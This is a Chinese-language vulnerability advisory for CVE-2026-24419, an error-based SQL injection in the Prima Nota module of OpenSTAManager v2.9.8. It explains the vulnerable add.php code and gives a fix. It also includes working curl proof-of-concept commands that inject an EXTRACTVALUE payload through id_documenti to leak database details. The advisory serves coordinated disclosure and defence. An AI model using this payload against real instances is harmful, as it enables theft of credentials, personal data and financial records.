| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-24419 |
| 严重性 | 高 |
| 安全公告 | 查看安全公告 |
| 发现者 | Lukasz Rybak |
OpenSTAManager v2.9.8 的 Prima Nota(日记账)模块存在严重的基于错误的 SQL 注入漏洞,已认证的攻击者可通过向 URL 参数注入恶意 SQL,借助 XML 错误消息提取完整数据库内容,包括用户凭据、客户个人身份信息(PII)和财务记录。
状态: ✅ 已在真实实例(v2.9.8)上确认并测试
受影响参数: id_documenti(GET 参数)
受影响端点: /modules/primanota/add.php
攻击类型: 基于错误的 SQL 注入(IN 子句)
OpenSTAManager v2.9.8 的 Prima Nota(日记账)模块 add.php 文件中存在严重的基于错误的 SQL 注入漏洞。该应用程序在将 GET 参数中的逗号分隔值用于 SQL IN() 子句之前,未验证这些值是否为整数,从而允许攻击者注入任意 SQL 命令,并通过 XPATH 错误消息提取敏感数据。
漏洞利用链:
入口点: /modules/primanota/add.php(第 63-67 行)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
影响: get() 函数获取用户可控的 URL 参数,explode(',', (string) ...) 按逗号拆分,但没有任何校验确保元素为整数。
SQL 注入点: /modules/primanota/add.php(第 306 行)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
影响: $id_documenti 中的数组元素通过 implode() 直接拼接,未进行类型校验,也未使用 prepare(),从而可实现完整的 SQL 注入。
根因分析:
该漏洞存在的原因:
get('id_documenti') 返回用户可控的字符串explode(',', (string) $value) 按逗号拆分,但不校验类型implode(',', $array) 将数组元素直接拼接进 SQL?id_documenti=1) AND EXTRACTVALUE(...) %23 注入 SQL受影响代码路径:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
步骤 1:登录
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
步骤 2:验证漏洞(基于错误的 SQL 注入)
测试 1:提取数据库用户和版本
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
响应(攻击者可见的错误消息):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
所有有权访问 Prima Nota(日记账)模块的已认证用户。
主要修复方案 - 类型校验:
文件:/modules/primanota/add.php
修复前(存在漏洞 - 第 63-67 行):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
修复后(已修复):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
发现者:Łukasz Rybak
该 CVE 已按照协调漏洞披露实践进行负责任披露。此处提供的信息仅用于教育和防御目的。